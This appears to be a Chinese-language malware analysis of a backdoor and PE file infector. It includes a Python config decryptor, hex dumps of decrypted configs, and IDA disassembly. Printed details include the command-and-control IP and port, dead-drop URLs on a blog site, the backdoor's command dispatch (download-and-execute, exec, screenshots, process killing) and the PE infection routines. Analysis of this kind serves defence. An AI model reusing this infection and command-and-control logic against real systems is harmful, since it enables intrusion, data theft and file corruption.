ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0:
ah = srcData[found_offset]
al = srcData[found_offset+1]
eax = (ord(ah) << 0x8) | ord(al)
#print "eax %08x" % eax
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append(chr(eax & 0xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "".join(decrypt_data)
first_dword = struct.unpack('I',decrypt_data_[0:4])[0]
if first_dword <= data_len:
check_value = struct.unpack('H',decrypt_data_[4:6])[0]
print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_[6:]
cur_offset = 0
while ecx >= 4:
eax = eax + struct.unpack('I',esi[cur_offset:cur_offset + 4])[0]
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_[6:first_dword+6]
hOutFile.write(real_data)
else:
print "no content found"
if __name__=="__main__":
if len(sys.argv) != 2:
print "usage: %pro download_config"
os.sys.exit(1)
srcFile = os.sys.argv[1]
hSrc = file(srcFile, "rb")
data = hSrc.read()
hSrc.close()
dstFile = "%s.decrypt.v" % srcFile
hDstFile = file(dstFile, "wb")
Decrypt_Config(data, hDstFile)
hDstFile.close()
大小0x5f
$ ==> >41 10 49 7D 44 4E 46 55 AI}DNFU
$+8 >70 64 61 74 65 30 33 30 pdate030
$+10 >38 2E 65 78 65 00 68 74 8.exe.ht
$+18 >74 70 3A 2F 2F 77 77 77 tp://www
$+20 >2E 31 64 69 73 6B 2E 63 .1disk.c
$+28 >6E 2F 43 6F 6E 74 65 6E n/Conten
$+30 >74 50 61 6E 65 2E 61 73 tPane.as
$+38 >70 78 3F 64 6F 77 6E 3D px?down=
$+40 >6F 6B 26 66 69 6C 65 70 ok&filep
$+48 >61 74 68 3D 74 65 73 74 ath=test
$+50 >37 37 35 38 25 32 66 44 7758%2fD
$+58 >4E 46 2E 64 61 74 00 NF.dat.
解密后的数据,
的结构为:
struct download_config
{
+0 dword frist_dword 下载的文件大小
+4 byte byte_4取决于byte_5
+5 byte byte_5
+len(filename) 之后的下载连接
}
如果byte_5是“:”,分两种情况,
byte_4是 “%” ,则下到系统目录
byte_4不是 “%” 则会判断文件是否存在,如果不存在,直接下载到当前目录
如果byte_5不是“:”,从偏移为4 开始作为文件名的一部分下载到临时目录
接下来从
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358下载的数据为:
{
window.modData = {"view":{"id":"10052358","gid":"135189","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########AKAAAAAAHAHAAAAAAAAAHAHAAAAAAAAA","weekday":"1","show_time":"2010-11-21 19:46:00","flower":"0","egg":"0","ping":"0","click":"4223644","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/test4862\/diary\/item\/10052358.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290340014"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"catalog":[{"id":"135189","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/test4862\/diary\/group\/135189","count":"1"},{"id":"135190","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/test4862\/diary\/group\/135190","count":"0"},{"id":"135191","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/test4862\/diary\/group\/135191","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\ufe4f\u53f6\u843d\u65e0\u58f0\u3001","face":"http:\/\/p6.u.51img1.com\/63\/63\/236527861_50.gif?v=20111013151050","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"236527861","_user":"aweiy_z","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"4"},"morediary":[],"current":{"gid":"135189","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/test4862\/diary\/group\/135189"}};
}
同样解密算法
返回的大小 0x0a
$ ==> >00 00 00 00 70 70 00 00 ....pp..
$+8 >00 00 ..
$ ==> 00900020 00 00 00 00 70 70 00 00 ....pp..
$+8 00900028 00 00 70 70 00 00 00 00 ..pp....
$+10 00900030 EF 37 66 A3 3B FF FF EF ?f?
$+18 00900038 33 7E 7F 3A E6 FF FF FF 3~:?
$+20 00900040 EE FF FF FF FF FF FF EF ?
$+28 00900048 EF 37 BE 66 EF EF EF EF ?緁镲镲
$+30 00900050 66 FF EF EF EF FA F6 FF f镲嵇?
$+38 00900058 EF EF 32 BA 2A FF FF FF 镲2?
$+40 00900060 FF FF EF 33 F7 32 73 FF ??s
$+48 00900068 EF EF 33 72 36 E7 B2 FF 镲3r6绮
$+50 00900070 EF FF EF 27 33 5F 73 73 ??3_ss
$+58 00900078 FF EF EF 37 A3 5F 2E EE 镲7.
$+60 00900080 6F EF EF EF EF 27 33 5F o镲镲'3_
$+68 00900088 F7 FF EF EF EF 73 ?镲飐镲
struct confif_data_for_backdoor
{
+0 dword 判断是否需要从其他链接中下载配置文件 如果为0 则表示需要 赋值给00401854
+4 word 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为 0040184c初始为0 或得结果为70700000
但是解密返回来的大小为0xa 如果这个是个dword明显超出了 我们回头看看其解密过程的末尾
.text:00401AC5 mov ecx, [ebp+first_dword_after_decrypt]
.text:00401AC8 mov edi, [ebp+arg_0_read_data]
.text:00401ACB mov esi, edi
.text:00401ACD add esi, 6
.text:00401AD0 rep movsb
显然它把解密后的数据从偏移为6 开始向前覆盖了 所以偏移为+a 的word就是偏移为4的word 即0x7070
}
看看控制的相关代码:
.text:004050CD execute_command_accordingto_dword_flag proc near
.text:004050CD ; CODE XREF: net_activity+102p
.text:004050CD ; net1+1C4p
.text:004050CD
.text:004050CD arg_0_confif_data_for_backdoor_jia_c= dword ptr 8
.text:004050CD arg_4_0x1000 = dword ptr 0Ch
.text:004050CD
.text:004050CD 55 push ebp
.text:004050CE 8B EC mov ebp, esp
.text:004050D0 ; nop code
.text:004050D7 B8 48 18 40 00 mov eax, 401848h
.text:004050DC F7 00 00 00 00 10 test dword ptr [eax], 10000000h
.text:004050E2 74 0D jz short loc_4050F1
.text:004050E4 FF 75 0C push [ebp+arg_4_0x1000]
.text:004050E7 FF 75 08 push [ebp+arg_0_confif_data_for_backdoor_jia_c]
.text:004050EA E8 2A 0E 00 00 call Download_file_execute
.text:004050EF EB 21 jmp short loc_405112
.text:004050F1 ; nop code
.text:004050F8 B8 48 18 40 00 mov eax, offset unk_401848
.text:004050FD F7 00 00 00 00 20 test dword ptr [eax], 20000000h
.text:00405103 74 0D jz short loc_405112
.text:00405105 FF 75 0C push [ebp+arg_4_0x1000]
.text:00405108 FF 75 08 push [ebp+arg_0_confif_data_for_backdoor_jia_c]
.text:0040510B E8 17 1B 00 00 call CreateFile_Exuecute
.text:00405110 EB 00 jmp short $+2
.text:00405112 ; nop code
.text:00405119 B8 48 18 40 00 mov eax, offset unk_401848
.text:0040511E F7 00 00 00 00 40 test dword ptr [eax], 40000000h
.text:00405124 74 05 jz short locret_40512B
.text:00405126 E8 47 E6 FF FF call Infect_with_flag__
.text:0040512B
.text:0040512B locret_40512B: ; CODE XREF: execute_command_accordingto_dword_flag+57j
.text:0040512B C9 leave
.text:0040512C C2 08 00 retn
if (control_flag & 0x10000000)
下载执行,其中连接由confif_data_for_backdoor+c 指定
goto infect
if (control_flag & 0x20000000)
如果有% 则直接用系统盘替换%
否则,在系统目录下创建文件 文件名由confif_data_for_backdoor+c 指定
goto infect
infect:
if (control_flag & 0x40000000)
if (control_flag & 0x00000001)
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000081 什么也不做
40000021 写入与文件夹同名的exe 保证图标与文件夹图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000041 写入与doc同名的exe 保证图标与doc文档图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000009 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000011 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
if (control_flag & 0x00000002)
枚举各个盘符只感染如下文件
'RarExt.dll',0
'ppsap.exe',0
'procdll.dll',0
'thunders.dll',0
'Storm.dll',0
前面说过了
confif_data_for_backdoor的第一个dword决定了是否继续下载配置文件 我们下载下来的dword为0 其会继续下载,
http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625
下载的数据为:
{
window.modData = {"view":{"id":"10047625","gid":"133252","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########DLAAAAAAFFCENOKOHDJLHAHAEAAABPABAAGACFDKFMFAHCGPGHHCGBGNCAEGGJGMGFHDFMFEGFGOGDGFGOHEFMFBFBFMENFBFBFCGFHDFMFBFBENHFHDGJGDCOGFHIGFAA","weekday":"1","show_time":"2010-11-21 16:25:00","flower":"0","egg":"0","ping":"0","click":"4216665","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/lichao3596\/diary\/item\/10047625.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290327905"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"catalog":[{"id":"133252","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/lichao3596\/diary\/group\/133252","count":"1"},{"id":"133253","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/lichao3596\/diary\/group\/133253","count":"0"},{"id":"133254","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/lichao3596\/diary\/group\/133254","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u71a0","face":"http:\/\/p3.u.51img1.com\/39\/75\/yilin261010107_50.gif?v=20090528094841&cool=0","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"yilin261010107","_user":"yilin261010107","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"Amu2730","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"amu2730","_user":"amu2730","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"5"},"morediary":[],"current":{"gid":"133252","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/lichao3596\/diary\/group\/133252"}};
}
解密后的数据为:
返回的大小为0x3b
$ ==> >DE AE 73 9B 70 70 40 00 蕻s沺p@.
$+8 >1F 01 00 60 25 3A 5C 50 .`%:\P
$+10 >72 6F 67 72 61 6D 20 46 rogram F
$+18 >69 6C 65 73 5C 54 65 6E iles\Ten
$+20 >63 65 6E 74 5C 51 51 5C cent\QQ\
$+28 >4D 51 51 52 65 73 5C 51 MQQRes\Q
$+30 >51 4D 75 73 69 63 2E 65 QMusic.e
$+38 >78 65 00 63 2E 65 78 65 xe.c.exe
$+40 >00 EF 37 66 A3 3B FF FF .?f?
$+48 >EF 33 7E 7F 3A E6 FF FF ?~:?
$+50 >FF EE FF FF FF FF FF FF ?
这个结构体和前面的结构体解析是一样的 不过这里的第一个dword 不是作为标志了 而是一个ip地址,用来连接执行后门功能的
其中
00401850指向一个sockaddr
struct confif_data_for_backdoor
{
+0 dword ip_address 赋值给00401854
+4 word port 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为 0040184c初始为0 或得结果为6000011F
}
根据前面的分析 可知道该control_flag 执行的功能为:
创建系统盘:\Program Files\Tencent\QQ\MQQRes\QQMusic.exe
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000008 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000010 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
枚举各个盘符只感染如下文件
.text:00401B71 52 61 72 45 78 74+String1 db 'RarExt.dll',0 ; DATA XREF: infect_pe+CAo
.text:00401B7C 70 70 73 61 70 2E+aPpsap_exe_0 db 'ppsap.exe',0
.text:00401B86 70 72 6F 63 64 6C+aProcdll_dll db 'procdll.dll',0
.text:00401B92 74 68 75 6E 64 65+aThunders_dll db 'thunders.dll',0
.text:00401B9F 53 74 6F 72 6D 2E+aStorm_dll db 'Storm.dll',0
由配置文件可知其连接的ip为:
222.174.115.155 端口为0x7070
执行后门功能的主要线程地址为:
0040512f
后门的功能包括:
获取系统网络信息
下载执行文件
感染pe文件
获取进程列表
杀进程
删除和拷贝文件
截屏
更新ip地址和端口
还会记录计算机名等其他信息到注册表
等等
代码:.text:0040512F sub_40512F proc near ; DATA XREF: @net_activity_start+4Do
.text:0040512F
.text:0040512F read_size = dword ptr -5F4h
.text:0040512F fromlen = dword ptr -5F0h
.text:0040512F from = sockaddr ptr -5ECh
.text:0040512F buf = byte ptr -5DCh
.text:0040512F s = dword ptr 8
.text:0040512F
.text:0040512F push ebp
.text:00405130 mov ebp, esp
.text:00405132 add esp, 0FFFFFA0Ch
.text:00405138 mov [ebp+fromlen], 10h
.text:00405142
.text:00405142 @recv: ; CODE XREF: sub_40512F+6Ej
.text:00405142 ; sub_40512F+DCj ...
.text:00405142 lea eax, [ebp+fromlen]
.text:00405148 push eax ; fromlen
.text:00405149 lea eax, [ebp+from]
.text:0040514F push eax ; from
.text:00405150 push 0 ; flags
.text:00405152 push 4B0h ; len
.text:00405157 lea eax, [ebp+buf]
.text:0040515D push eax ; buf
.text:0040515E push [ebp+s] ; s
.text:00405161 ; nop code
.text:00405169 call recvfrom
.text:0040516F test eax, eax ; eax = number of bytes to read
.text:00405171 jz @reand_data_is_zero_ro_toobig
.text:00405177 cmp eax, 4B0h
.text:0040517C ja @reand_data_is_zero_ro_toobig
.text:00405182 mov [ebp+read_size], eax
.text:00405188 ; nop code
.text:0040518F mov eax, offset sockaddrr
.text:00405194 mov eax, [eax+4]
.text:00405197 cmp eax, dword ptr [ebp+from.sa_data+2]
.text:0040519D jnz short @recv
.text:0040519F xor eax, eax
.text:004051A1 mov al, [ebp+buf]
.text:004051A7 cmp eax, 4
.text:004051AA jz short @first_byte_is_4
.text:004051AC cmp eax, 3
.text:004051AF jz short loc_405223
.text:004051B1 cmp eax, 1
.text:004051B4 jz @first_byte_is_1
.text:004051BA cmp eax, 9
.text:004051BD jz @first_byte_is_9
.text:004051C3 cmp eax, 0Ah
.text:004051C6 jz @first_byte_is_a
.text:004051CC cmp eax, 0Ch
.text:004051CF jz @first_byte_is_c
.text:004051D5 cmp eax, 6
.text:004051D8 jz @first_byte_is_6
.text:004051DE cmp eax, 0Dh
.text:004051E1 jz @First_byte_is_D
.text:004051E7 cmp eax, 0Eh
.text:004051EA jz @first_byte_is_e
.text:004051F0 cmp eax, 0Fh
.text:004051F3 jz @first_byte_is_f
.text:004051F9 cmp eax, 10h
.text:004051FC jz @first_byte_is_10
.text:00405202 cmp eax, 11h
.text:00405205 jz @first_byte_is_11
.text:0040520B jmp @recv
.text:00405210 ; ---------------------------------------------------------------------------
.text:00405210
.text:00405210 @first_byte_is_4: ; CODE XREF: sub_40512F+7Bj
.text:00405210 push 8
.text:00405212 lea eax, [ebp+buf+1]
.text:00405218 push eax
.text:00405219 call Get_mcname_in_reg
.text:0040521E jmp @recv
.text:00405223 ; ---------------------------------------------------------------------------
.text:00405223
.text:00405223 loc_405223: ; CODE XREF: sub_40512F+80j
.text:00405223 mov eax, [ebp+read_size]
.text:00405229 dec eax
.text:0040522A push eax
.text:0040522B lea eax, [ebp+buf+1]
.text:00405231 push eax
.text:00405232 call Set_mcname_in_reg
.text:00405237 jmp @recv
.text:0040523C ; nop code
.text:00405243 mov eax, offset unk_40188C
.text:00405248 cmp dword ptr [eax], 0
.text:0040524B jnz short loc_405273
.text:0040524D mov eax, dword ptr [ebp+buf+5]
.text:00405253 push eax
.text:00405254 mov eax, dword ptr [ebp+buf+1]
.text:0040525A test eax, eax
.text:0040525C jnz short loc_40526D
.text:0040525E ; nop code
.text:00405265 mov eax, offset sockaddrr
.text:0040526A mov eax, [eax+4]
.text:0040526D
.text:0040526D loc_40526D: ; CODE XREF: sub_40512F+12Dj
.text:0040526D push eax
.text:0040526E call backdoor
.text:00405273
.text:00405273 loc_405273: ; CODE XREF: sub_40512F+11Cj
.text:00405273 jmp @recv
.text:00405278 ; ---------------------------------------------------------------------------
.text:00405278
.text:00405278 @first_byte_is_9: ; CODE XREF: sub_40512F+8Ej
.text:00405278 call query_data_in_reg_send_out
.text:0040527D jmp @recv
.text:00405282 ; ---------------------------------------------------------------------------
.text:00405282
.text:00405282 @first_byte_is_a: ; CODE XREF: sub_40512F+97j
.text:00405282 mov eax, [ebp+read_size]
.text:00405288 dec eax
.text:00405289 push eax
.text:0040528A lea eax, [ebp+buf+1]
.text:00405290 push eax
.text:00405291 call Save_recv_data_to_reg
.text:00405296 jmp @recv
.text:0040529B ; ---------------------------------------------------------------------------
.text:0040529B
.text:0040529B @first_byte_is_c: ; CODE XREF: sub_40512F+A0j
.text:0040529B call Send_sysinfo
.text:004052A0 jmp @recv
.text:004052A5 ; ---------------------------------------------------------------------------
.text:004052A5
.text:004052A5 @first_byte_is_6: ; CODE XREF: sub_40512F+A9j
.text:004052A5 call Close_Socket
.text:004052AA jmp @recv
.text:004052AF ; ---------------------------------------------------------------------------
.text:004052AF
.text:004052AF @First_byte_is_D: ; CODE XREF: sub_40512F+B2j
.text:004052AF push 3E8h
.text:004052B4 lea eax, [ebp+buf+1]
.text:004052BA push eax
.text:004052BB call Download_File_Execute_
.text:004052C0 jmp @recv
.text:004052C5 ; ---------------------------------------------------------------------------
.text:004052C5
.text:004052C5 @first_byte_is_e: ; CODE XREF: sub_40512F+BBj
.text:004052C5 lea eax, [ebp+buf+1]
.text:004052CB push eax
.text:004052CC call Exec
.text:004052D1 jmp @recv
.text:004052D6 ; ---------------------------------------------------------------------------
.text:004052D6
.text:004052D6 @first_byte_is_f: ; CODE XREF: sub_40512F+C4j
.text:004052D6 push 3E8h
.text:004052DB lea eax, [ebp+buf+1]
.text:004052E1 push eax
.text:004052E2 call Download_File_Execute
.text:004052E7 jmp @recv
.text:004052EC ; ---------------------------------------------------------------------------
.text:004052EC
.text:004052EC @first_byte_is_10: ; CODE XREF: sub_40512F+CDj
.text:004052EC lea eax, [ebp+buf+1]
.text:004052F2 push eax
.text:004052F3 call Delete_FILE_IN_TMP
.text:004052F8 jmp @recv
.text:004052FD ; ---------------------------------------------------------------------------
.text:004052FD
.text:004052FD @first_byte_is_11: ; CODE XREF: sub_40512F+D6j
.text:004052FD push 3E8h
.text:00405302 lea eax, [ebp+buf+1]
.text:00405308 push eax
.text:00405309 call Download_File
.text:0040530E jmp @recv
.text:00405313 ; nop code
.text:0040531A mov eax, offset unk_401860
.text:0040531F cmp dword ptr [eax], 0FFFFFFFFh
.text:00405322 jz short @retn
.text:00405324 push 3E8h ; dwMilliseconds
.text:00405329 ; nop code
.text:00405331 ; ---------------------------------------------------------------------------
.text:00405331 call Sleep
.text:00405337 jmp @recv
.text:0040533C ; nop code
.text:00405343 mov eax, 401888h
.text:00405348 mov dword ptr [eax], 0
.text:0040534E leave
.text:0040534F retn 4
.text:0040534F sub_40512F endp
最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:
.text:00401FCE Check_Infect_Or_not proc near ; CODE XREF: infect_pe+124p
.text:00401FCE ; Infect_with_flag+153p ...
.text:00401FCE
.text:00401FCE Section_TABLE = S_PE_SECTION ptr -1B8h
.text:00401FCE PEHEADER = S_PE_HEADER ptr -190h
.text:00401FCE MZHeader = S_MZ_HEADER ptr -98h
.text:00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text:00401FCE hfile = dword ptr -8
.text:00401FCE is_infected = dword ptr -4
.text:00401FCE arg_0_full_file_path= dword ptr 8
.text:00401FCE arg_4_patch_call_num= dword ptr 0Ch
.text:00401FCE
.text:00401FCE push ebp
.text:00401FCF mov ebp, esp
.text:00401FD1 add esp, 0FFFFFE48h
.text:00401FD7 push ebx
.text:00401FD8 push ecx
.text:00401FD9 push edx
.text:00401FDA push edi
.text:00401FDB push esi
.text:00401FDC mov [ebp+is_infected], 1
.text:00401FE3 mov eax, 0FFFFh
.text:00401FE8 and [ebp+arg_4_patch_call_num], eax
打开文件 判断是否是pe文件
.text:00401FEB push 0
.text:00401FED push 80h
.text:00401FF2 push 3
.text:00401FF4 push 0
.text:00401FF6 push 3
.text:00401FF8 push 80000000h
.text:00401FFD push [ebp+arg_0_full_file_path]
.text:00402000 ; nop code
.text:00402008 ; ---------------------------------------------------------------------------
.text:00402008 call CreateFileA
.text:0040200E cmp eax, 0FFFFFFFFh
.text:00402011 jz loc_402118
.text:00402017 mov [ebp+hfile], eax
.text:0040201A push 0
.text:0040201C push 40h
.text:0040201E lea eax, [ebp+MZHeader]
.text:00402024 push eax
.text:00402025 push [ebp+hfile]
.text:00402028 call Read_fILE
.text:0040202D test eax, eax
.text:0040202F jz @closehandle
.text:00402035 cmp word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:0040203E jnz @closehandle
.text:00402044 push [ebp+MZHeader.new_hdr_offset]
.text:00402047 push 0F8h
.text:0040204C lea eax, [ebp+PEHEADER]
.text:00402052 push eax
.text:00402053 push [ebp+hfile]
.text:00402056 call Read_fILE
.text:0040205B test eax, eax
.text:0040205D jz @closehandle
.text:00402063 cmp dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:0040206D jnz @closehandle
.text:00402073 xor ecx, ecx
.text:00402075 mov ebx, [ebp+MZHeader.new_hdr_offset]
.text:00402078 add ebx, 0F8h
节的数目不能大于0x10
.text:0040207E movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:00402085 cmp ecx, 10h
.text:00402088 ja short @closehandle
.text:0040208A mov [ebp+is_infected], 0
读取每个节的头0x50 个bytes 进行解密 检查
.text:00402091
.text:00402091 @loop_section_check: ; CODE XREF: Check_Infect_Or_not+130j
.text:00402091 test ecx, ecx
.text:00402093 jz short @closehandle
.text:00402095 push ebx
.text:00402096 push 28h
.text:00402098 lea eax, [ebp+Section_TABLE]
.text:0040209E push eax
.text:0040209F push [ebp+hfile]
.text:004020A2 call Read_fILE
.text:004020A7 test eax, eax
.text:004020A9 jz short @closehandle
.text:004020AB push [ebp+Section_TABLE.offset_in_file]
.text:004020B1 push 50h
.text:004020B3 lea eax, [ebp+First_0x50_bytes_of_every_section]
.text:004020B6 push eax
.text:004020B7 push [ebp+hfile]
.text:004020BA call Read_fILE
.text:004020BF test eax, eax
.text:004020C1 jz short @closehandle
.text:004020C3 lea edi, [ebp+First_0x50_bytes_of_every_section]
.text:004020C6 mov eax, [edi]
.text:004020C8 mov esi, 50h
.text:004020CD
.text:004020CD @decrypt_first_0x50_section: ; CODE XREF: Check_Infect_Or_not+10Bj
.text:004020CD test esi, esi
.text:004020CF jz short @check_infect_or_not
.text:004020D1 xor [edi], eax
.text:004020D3 sub esi, 4
.text:004020D6 add edi, 4
.text:004020D9 jmp short @decrypt_first_0x50_section
.text:004020DB ; ---------------------------------------------------------------------------
.text:004020DB
如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
third_dword & 0xffff要大于等于传进来的要抽取多少个call的数量,否则的话也不会设定已经被感染
.text:004020DB @check_infect_or_not: ; CODE XREF: Check_Infect_Or_not+101j
.text:004020DB cmp dword ptr [ebp+First_0x50_bytes_of_every_section+4], 77582588h
.text:004020E2 jnz short @next_section
.text:004020E4 mov eax, dword ptr [ebp+First_0x50_bytes_of_every_section+8]
.text:004020E7 test eax, 10000h
.text:004020EC jnz short @already_infected
.text:004020EE and eax, 0FFFFh
.text:004020F3 cmp eax, [ebp+arg_4_patch_call_num]
.text:004020F6 jge short @already_infected
.text:004020F8 jmp short @closehandle
.text:004020FA ; ---------------------------------------------------------------------------
.text:004020FA
.text:004020FA @next_section: ; CODE XREF: Check_Infect_Or_not+114j
.text:004020FA add ebx, 28h
.text:004020FD dec ecx
.text:004020FE jmp short @loop_section_check
.text:00402100 ; ---------------------------------------------------------------------------
.text:00402100
.text:00402100 @already_infected: ; CODE XREF: Check_Infect_Or_not+11Ej
.text:00402100 ; Check_Infect_Or_not+128j
.text:00402100 mov [ebp+is_infected], 1
.text:00402107
.text:00402107 @closehandle: ; CODE XREF: Check_Infect_Or_not+61j
.text:00402107 ; Check_Infect_Or_not+70j ...
.text:00402107 push [ebp+hfile]
.text:0040210A ; nop code
.text:00402112 ; ---------------------------------------------------------------------------
.text:00402112 call CloseHandle
.text:00402118
.text:00402118 loc_402118: ; CODE XREF: Check_Infect_Or_not+43j
.text:00402118 mov eax, [ebp+is_infected]
.text:0040211B pop esi
.text:0040211C pop edi
.text:0040211D pop edx
.text:0040211E pop ecx
.text:0040211F pop ebx
.text:00402120 leave
.text:00402121 retn 8
感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:.text:00402124 Infect_EXE_dll proc near ; CODE XREF: infect_known_file+82p
.text:00402124 ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter = dword ptr -48h
.text:00402124 alloc_address1 = dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep = dword ptr -24h
